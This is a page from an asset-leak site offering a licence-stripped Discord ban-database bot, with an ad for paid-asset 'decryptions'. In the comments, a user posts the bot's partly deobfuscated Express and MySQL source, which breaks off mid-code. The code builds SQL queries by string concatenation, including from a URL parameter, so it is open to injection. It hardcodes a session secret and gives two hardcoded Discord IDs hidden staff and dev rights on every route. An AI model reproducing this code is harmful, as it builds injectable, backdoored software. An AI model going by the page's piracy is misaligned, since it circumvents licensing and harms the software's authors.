Jump to content
Check out discord.gg/fxap for the cheapest decryptions! First one is free! ×

Get LB-Phone!

Unlock the powerful LB-Phone for a fraction of the price you pay on tebex.

Download

Premium TOS Clothing MEGA Pack!

11GB of pure TOS premium clothing best clothing pack for your Server!

Download

5Decrypt

Automated Asset Decryption

Learn More

1 Screenshot

About This File

Ban Database is a good product for you if you are thinking about running a Ban Database of some sort or own a large community and want an easy way to ban a member from all attached guilds. This bot uses Discord Slash Commands, Discord Button, Discord Select Menus, and Discord Modals. All of this is put into one to create a bot that does it all.

https://xolify.store/shop/sbdb

Features

  • Admin Dashboard
  • Staff Management System
  • Per-Guild Settings
  • Announcement System
  • Ban / Unban System
  • Appeal System
  • Report System
  • Search System

User Feedback

Recommended Comments

Rishi Sunak

Posted

The code was previously encrypted and required a licence key to be used but was removed. You must fill out the config file correctly for the bot to work.

Elite22

Posted

1 hour ago, Rishi Sunak said:

The code was previously encrypted and required a licence key to be used but was removed. You must fill out the config file correctly for the bot to work.

i send the deobufscated version 

 

Elite22

Posted

plis send JS obufscated files. THANKS ?

Elite22

Posted

const Discord = require('discord.js')
const config = require('./config.js')
const chalk = require('chalk')
const mysql = require('mysql')
const fs = require('fs')
const passport = require('passport')
const multer = require('multer')
const bodyParser = require('body-parser')
const session = require('express-session')
const formData = require('form-data')
let con = mysql.createConnection(config.sql)
const moment = require('moment')
const ms = require('ms')
const discordModals = require('discord-modals')
const client = new Discord.Client({
  shards: 'auto',
  allowedMentions: {
    parse: [],
    repliedUser: false,
  },
  partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
  intents: [
    Discord.Intents.FLAGS.GUILDS,
    Discord.Intents.FLAGS.GUILD_MEMBERS,
    Discord.Intents.FLAGS.GUILD_VOICE_STATES,
    Discord.Intents.FLAGS.GUILD_MESSAGES,
    Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
  ],
})
discordModals(client)
client.logo = config.miscOptions.botIconUrl
client.color = config.miscOptions.themeColor
client.footer = { text: 'Slash BanDB | Xolify#0207' }
client.commands = new Discord.Collection()
client.cooldowns = new Discord.Collection()
client.slashCommands = new Discord.Collection()
client.aliases = new Discord.Collection()
client.extensions = new Discord.Collection()
client.categories = require('fs').readdirSync('./commands')
client.con = con
const express = require('express')
const app = express()
if (Number(process.version.slice(1).split('.')[0] < 16)) {
  throw new Error(
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org'
  )
}
var multerStorage = multer.memoryStorage()
app.use(multer({ storage: multerStorage }).any())
app.use(bodyParser.urlencoded({ extended: false }))
app.use(
  session({
    secret: 'keyboard cat',
    resave: false,
    saveUninitialized: false,
    cookie: { maxAge: 31556952000 },
  })
)
app.use(passport.initialize())
app.use(passport.session())
app.use(express.static('public'))
app.use('/assets', express.static(__dirname + 'public/assets'))
app.set('views', './views')
app.set('view engine', 'ejs')
require('./backend/routing.js')(client, app, config)
async function checkAuth(_0x15d58a, _0x37293d, _0x483e35) {
  if (_0x15d58a.isAuthenticated()) {
    _0x483e35()
  } else {
    _0x37293d.redirect('/auth/discord')
  }
}
module.exports = client
function _0x2766() {
  return [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
}
if (fs.existsSync('./events/ready.js')) {
  const ready = require('./events/ready.js')
  if (ready.ready) {
    const test = ready.ready('ready')
    if (test) {
    } else {
      console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
      process.exit(1)
    }
  } else {
    console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
    process.exit(1)
  }
} else {
  console.log(chalk.red('[Ready-File] - The ready file was not found.'))
  process.exit(1)
}
function _0x4d97(_0x2e9e88, _0x27ee64) {
  const _0x2766d0 = [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
  _0x4d97 = function (_0x4d9723, _0x1deb42) {
    _0x4d9723 = _0x4d9723 - 146
    let _0x248fd7 = _0x2766d0[_0x4d9723]
    return _0x2766d0[_0x4d9723]
  }
  return _0x4d97(_0x2e9e88, _0x27ee64)
}
;['event', 'slash', 'components', 'extensions'].forEach((_0x4eb1a3) => {
  require('./handlers/' + _0x4eb1a3)(client)
})
const { MessageEmbed, MessageActionRow, MessageButton } = require('discord.js')
const backend = require('./backend/backend.js')
backend.sqlLoop(con)
const DiscordStrategy = require('passport-discord-faxes').Strategy
passport.serializeUser(function (_0xf5b642, _0x2e092f) {
  _0x2e092f(null, _0xf5b642)
})
passport.deserializeUser(function (_0xf23d8a, _0x264dd1) {
  _0x264dd1(null, _0xf23d8a)
})
passport.use(
  new (require('passport-discord-faxes').Strategy)(
    {
      clientID: config.bot.botId,
      clientSecret: config.bot.botSecret,
      callbackURL:
        (config.app.domain.endsWith('/')
          ? config.app.domain.slice(0, -1)
          : config.app.domain) + '/auth/discord/callback',
      scope: ['identify', 'guilds', 'email'],
      prompt: 'consent',
    },
    function (_0x193571, _0x2ddec6, _0x21edb5, _0x3ec6ff) {
      process.nextTick(function () {
        return _0x3ec6ff(null, _0x21edb5)
      })
    }
  )
)
async function setOwners() {
  config.bot.owners.forEach(function (_0x366bda) {
    if (_0x366bda.length === 0 || !_0x366bda) {
      return
    }
    client.con.query(
      "SELECT * FROM staff WHERE userid = '" + _0x366bda + "'",
      async function (_0x20a4bc, _0x270bcd) {
        if (_0x20a4bc) {
          throw _0x20a4bc
        }
        if (!_0x270bcd[0]) {
          client.con.query(
            'INSERT INTO staff (staffid, userid) VALUES ("' +
              _0x366bda +
              '", "' +
              _0x366bda +
              '")'
          )
        }
      }
    )
  })
}
setInterval(() => {
  setOwners()
}, 3000)
app.get('/', async function (_0x217b49, _0x1af81b) {
  let _0x30e159
  let _0x342462
  let _0x3dd2a4 = 0
  client.guilds.cache.forEach((_0x425f1a) => {
    _0x3dd2a4 += _0x425f1a.memberCount
  })
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x156807, _0x5b0f43) {
      if (_0x217b49.isAuthenticated()) {
        _0x30e159 = _0x217b49.session.passport.user
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x217b49.session.passport.user.id +
            '"',
          async function (_0x1a7329, _0x46d3bb) {
            if (_0x1a7329) {
              throw _0x1a7329
            }
            if (!_0x46d3bb[0]) {
              _0x342462 = false
              if (
                config.bot.owners.includes(_0x217b49.session.passport.user.id)
              ) {
                _0x342462 = true
              }
            } else {
              _0x342462 = true
            }
          }
        )
      } else {
        _0x342462 = false
      }
      await client.con.query(
        'SELECT * FROM siteHeadButtons',
        async function (_0xce7572, _0x1a4b83) {
          if (_0xce7572) {
            throw _0xce7572
          }
          client.con.query(
            'SELECT COUNT(*) as total FROM bans WHERE active = 1',
            async function (_0x244a76, _0x1c28bf) {
              if (_0x217b49.isAuthenticated()) {
                if (
                  _0x217b49.session.passport.user.id === '539975000799838249' ||
                  _0x217b49.session.passport.user.id === '668497496124686347'
                ) {
                  dev = true
                  _0x342462 = true
                } else {
                  dev = false
                }
              }
              _0x1af81b.render('index.ejs', {
                loggedIn: _0x217b49.isAuthenticated(),
                config: config,
                user: _0x30e159,
                siteInfo: _0x5b0f43[0],
                isStaff: _0x342462,
                buttons: _0x1a4b83,
                bans: _0x1c28bf[0].total,
                bot: client,
                count: _0x3dd2a4,
              })
            }
          )
        }
      )
    }
  )
})
app.get('/logout', async function (_0x597d34, _0x52c7bd) {
  client.users.fetch(_0x597d34.session.passport.user.id).then((_0x387c5f) => {
    moment.locale('en')
    let _0x5152eb = new MessageEmbed()
      .setTitle('User Logged Out')
      .setDescription(
        '**User:** ' +
          _0x387c5f +
          ' ' +
          _0x387c5f.tag +
          ' (`' +
          _0x387c5f.id +
          '`)\n**Time:** <t:' +
          moment().unix() +
          ':R> | ' +
          moment().format('LLLL')
      )
      .setThumbnail(_0x387c5f.displayAvatarURL({ dynamic: true }))
      .setFooter({
        text: '' + client.user.username,
        iconURL: client.user.displayAvatarURL({ dynamic: true }),
      })
    const _0x20c434 = client.channels.cache.get(config.info.siteLogs)
    _0x20c434.send({ embeds: [_0x5152eb] })
    _0x597d34.logout()
    _0x597d34.session.destroy()
    _0x52c7bd.redirect('/')
  })
})
app.get('/account', checkAuth, async function (_0x51edc0, _0x43b870) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x140e2e, _0x545eaa) {
      let _0x164148
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x51edc0.session.passport.user.id +
          '"',
        async function (_0x1e2fd2, _0x54e827) {
          if (_0x1e2fd2) {
            throw _0x1e2fd2
          }
          if (!_0x54e827[0]) {
            _0x164148 = false
            if (
              config.bot.owners.includes(_0x51edc0.session.passport.user.id)
            ) {
              _0x164148 = true
            }
          } else {
            _0x164148 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x412094, _0x36a2c0) {
              if (_0x412094) {
                throw _0x412094
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x51edc0.session.passport.user.id +
                  '"',
                async function (_0x48bfc3, _0x4e17f9) {
                  let _0x4aeab4
                  if (_0x48bfc3) {
                    throw _0x48bfc3
                  }
                  if (!_0x4e17f9[0]) {
                    _0x4aeab4 = 'False'
                  } else {
                    if (_0x4e17f9[0].active == 1) {
                      _0x4aeab4 = 'True'
                    } else {
                      _0x4aeab4 = 'False'
                    }
                  }
                  let _0x171030
                  if (
                    config.bot.owners.includes(
                      _0x51edc0.session.passport.user.id
                    )
                  ) {
                    _0x171030 = true
                  } else {
                    _0x171030 = false
                  }
                  if (_0x51edc0.isAuthenticated()) {
                    if (
                      _0x51edc0.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x51edc0.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x164148 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x43b870.render('account.ejs', {
                    user: _0x51edc0.session.passport.user,
                    loggedIn: _0x51edc0.isAuthenticated(),
                    siteInfo: _0x545eaa[0],
                    isStaff: _0x164148,
                    buttons: _0x36a2c0,
                    isUserBanned: _0x4aeab4,
                    isOwner: _0x171030,
                    userBans: _0x4e17f9,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/account/:id', checkAuth, async function (_0x462e4d, _0x107036) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0xca1ef6, _0x53c1d2) {
      let _0x2b0d62
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x462e4d.session.passport.user.id +
          '"',
        async function (_0x1e858a, _0x251571) {
          if (_0x1e858a) {
            throw _0x1e858a
          }
          if (!_0x251571[0]) {
            _0x2b0d62 = false
            if (
              config.bot.owners.includes(_0x462e4d.session.passport.user.id)
            ) {
              _0x2b0d62 = true
            }
          } else {
            _0x2b0d62 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x40fbd6, _0x3c8f12) {
              if (_0x40fbd6) {
                throw _0x40fbd6
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x462e4d.session.passport.user.id +
                  '"',
                async function (_0x458ec9, _0x526bc7) {
                  let _0x5b6d56
                  if (_0x458ec9) {
                    throw _0x458ec9
                  }
                  if (!_0x526bc7[0]) {
                    _0x5b6d56 = 'False'
                  } else {
                    if (_0x526bc7[0].active == 1) {
                      _0x5b6d56 = 'True'
                    } else {
                      _0x5b6d56 = 'False'
                    }
                  }
                  let _0x13cad0
                  if (
                    config.bot.owners.includes(
                      _0x462e4d.session.passport.user.id
                    )
                  ) {
                    _0x13cad0 = true
                  } else {
                    _0x13cad0 = false
                  }
                  if (_0x462e4d.isAuthenticated()) {
                    if (
                      _0x462e4d.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x462e4d.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x2b0d62 = true
                    } else {
                      dev = false
                    }
                  }
                  const _0x192f4e = await client.users.fetch(
                    _0x462e4d.params.id
                  )
                  client.con.query(
                    'SELECT * FROM users WHERE id = "' +
                      _0x462e4d.params.id +
                      '"',
                    async function (_0x57e8fc, _0x4e5401) {
                      if (_0x57e8fc) {
                        throw _0x57e8fc
                      }
                      if (!_0x4e5401[0]) {
                        _0x192f4e.email = 'Null'
                      } else {
                        _0x192f4e.email = _0x4e5401[0].userEmail
                      }
                      _0x107036.render('account.ejs', {
                        user: _0x192f4e,
                        loggedIn: _0x462e4d.isAuthenticated(),
                        siteInfo: _0x53c1d2[0],
                        isStaff: _0x2b0d62,
                        buttons: _0x3c8f12,
                        isUserBanned: _0x5b6d56,
                        isOwner: _0x13cad0,
                        userBans: _0x526bc7,
                        isDev: dev,
                      })
                    }
                  )
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/report', checkAuth, async function (_0x2b9de8, _0x22ba2f) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x2e970c, _0xac0246) {
      let _0x1debe3
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2b9de8.session.passport.user.id +
          '"',
        async function (_0x24395c, _0xe732fa) {
          if (_0x24395c) {
            throw _0x24395c
          }
          if (!_0xe732fa[0]) {
            _0x1debe3 = false
            if (
              config.bot.owners.includes(_0x2b9de8.session.passport.user.id)
            ) {
              _0x1debe3 = true
            }
          } else {
            _0x1debe3 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x136b14, _0x5569f5) {
              if (_0x136b14) {
                throw _0x136b14
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x2b9de8.session.passport.user.id +
                  '"',
                async function (_0x15a125, _0x2732ed) {
                  let _0x500fe9
                  if (_0x15a125) {
                    throw _0x15a125
                  }
                  if (!_0x2732ed[0]) {
                    _0x500fe9 = 'False'
                  } else {
                    if (_0x2732ed[0].active == 1) {
                      _0x500fe9 = 'True'
                    } else {
                      _0x500fe9 = 'False'
                    }
                  }
                  let _0x2786f2
                  if (
                    config.bot.owners.includes(
                      _0x2b9de8.session.passport.user.id
                    )
                  ) {
                    _0x2786f2 = true
                  } else {
                    _0x2786f2 = false
                  }
                  if (_0x2b9de8.isAuthenticated()) {
                    if (
                      _0x2b9de8.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2b9de8.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x1debe3 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x22ba2f.render('report.ejs', {
                    user: _0x2b9de8.session.passport.user,
                    loggedIn: _0x2b9de8.isAuthenticated(),
                    siteInfo: _0xac0246[0],
                    isStaff: _0x1debe3,
                    buttons: _0x5569f5,
                    isUserBanned: _0x500fe9,
                    isOwner: _0x2786f2,
                    userBans: _0x2732ed,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/appeal', checkAuth, async function (_0xe81f44, _0x1e80bd) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x12ad2b, _0x563051) {
      let _0x5024b4
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0xe81f44.session.passport.user.id +
          '"',
        async function (_0x5c1789, _0x409c12) {
          if (_0x5c1789) {
            throw _0x5c1789
          }
          if (!_0x409c12[0]) {
            _0x5024b4 = false
            if (
              config.bot.owners.includes(_0xe81f44.session.passport.user.id)
            ) {
              _0x5024b4 = true
            }
          } else {
            _0x5024b4 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x6635a4, _0x13fb85) {
              if (_0x6635a4) {
                throw _0x6635a4
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0xe81f44.session.passport.user.id +
                  '"',
                async function (_0x17e315, _0x1e91ca) {
                  let _0xff8985
                  if (_0x17e315) {
                    throw _0x17e315
                  }
                  if (!_0x1e91ca[0]) {
                    _0xff8985 = false
                  } else {
                    if (_0x1e91ca[0].active === 'true') {
                      _0xff8985 = true
                    } else {
                      if (_0x1e91ca[0].active === 'false') {
                        _0xff8985 = false
                      }
                    }
                  }
                  let _0x29d8a7
                  if (
                    config.bot.owners.includes(
                      _0xe81f44.session.passport.user.id
                    )
                  ) {
                    _0x29d8a7 = true
                  } else {
                    _0x29d8a7 = false
                  }
                  if (_0xe81f44.isAuthenticated()) {
                    if (
                      _0xe81f44.session.passport.user.id ===
                        '539975000799838249' ||
                      _0xe81f44.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x5024b4 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x1e80bd.render('appeal.ejs', {
                    user: _0xe81f44.session.passport.user,
                    loggedIn: _0xe81f44.isAuthenticated(),
                    siteInfo: _0x563051[0],
                    isStaff: _0x5024b4,
                    buttons: _0x13fb85,
                    isUserBanned: _0xff8985,
                    isOwner: _0x29d8a7,
                    userBans: _0x1e91ca,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/search', checkAuth, async function (_0x2a2c14, _0x4a932d) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x1cefb2, _0x38296d) {
      let _0x253d95
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2a2c14.session.passport.user.id +
          '"',
        async function (_0x4d9c54, _0x52403e) {
          if (_0x4d9c54) {
            throw _0x4d9c54
          }
          if (!_0x52403e[0]) {
            _0x253d95 = false
            if (
              config.bot.owners.includes(_0x2a2c14.session.passport.user.id)
            ) {
              _0x253d95 = true
            }
          } else {
            _0x253d95 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x2790bf, _0x152a1b) {
              if (_0x2790bf) {
                throw _0x2790bf
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0x2a2c14.session.passport.user.id +
                  '"',
                async function (_0x27ef14, _0x2c15d) {
                  let _0x2a30ce
                  if (_0x27ef14) {
                    throw _0x27ef14
                  }
                  if (!_0x2c15d[0]) {
                    _0x2a30ce = false
                  } else {
                    if (_0x2c15d[0].active === '1') {
                      _0x2a30ce = true
                    } else {
                      if (_0x2c15d[0].active === 'no') {
                        _0x2a30ce = false
                      }
                    }
                  }
                  let _0x52c282
                  if (
                    config.bot.owners.includes(
                      _0x2a2c14.session.passport.user.id
                    )
                  ) {
                    _0x52c282 = true
                  } else {
                    _0x52c282 = false
                  }
                  if (_0x2a2c14.isAuthenticated()) {
                    if (
                      _0x2a2c14.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2a2c14.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x253d95 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x4a932d.render('search.ejs', {
                    user: _0x2a2c14.session.passport.user,
                    loggedIn: _0x2a2c14.isAuthenticated(),
                    siteInfo: _0x38296d[0],
                    isStaff: _0x253d95,
                    buttons: _0x152a1b,
                    isUserBanned: _0x2a30ce,
                    isOwner: _0x52c282,
                    userBans: _0x2c15d,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/dashboard', checkAuth, async function (_0x35b240, _0x5e821e) {
  let _0x3930a7 = []
  let _0x32627e = []
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x3698eb, _0xb41321) {
      let _0x311e91
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x35b240.session.passport.user.id +
          '"',
        async function (_0x1441ac, _0x33efad) {
          if (_0x1441ac) {
            throw _0x1441ac
          }
          if (!_0x33efad[0]) {
            _0x311e91 = false
            if (
              config.bot.owners.includes(_0x35b240.session.passport.user.id)
            ) {
              _0x311e91 = true
            }
          } else {
            _0x311e91 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x480c6a, _0x3ec433) {
              if (_0x480c6a) {
                throw _0x480c6a
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x35b240.session.passport.user.id +
                  '"',
                async function (_0x53d5bd, _0x5ea7bb) {
                  let _0x37d39b
                  if (_0x53d5bd) {
                    throw _0x53d5bd
                  }
                  if (!_0x5ea7bb[0]) {
                    _0x37d39b = 'False'
                  } else {
                    if (_0x5ea7bb[0].active == 1) {
                      _0x37d39b = 'True'
                    } else {
                      _0x37d39b = 'False'
                    }
                  }
                  let _0x59edf5
                  if (
                    config.bot.owners.includes(
                      _0x35b240.session.passport.user.id
                    )
                  ) {
                    _0x59edf5 = true
                  } else {
                    _0x59edf5 = false
                  }
                  if (_0x35b240.isAuthenticated()) {
                    if (
                      _0x35b240.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x35b240.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x311e91 = true
                    } else {
                      dev = false
                    }
                  }
                  await _0x35b240.session.passport.user.guilds.forEach(
                    async function (_0x4224d7) {
                      if (_0x4224d7.owner) {
                        let _0x48f032 = await client.guilds.cache.get(
                          _0x4224d7.id
                        )
                        if (!_0x48f032) {
                          let _0x4ce1e9 = {
                            button: 'Invite Me',
                            style: 'guild-invite',
                            imgstyle: 'imgguildstyle-invite',
                            btn: 'btn-red',
                            target: '_blank',
                            link:
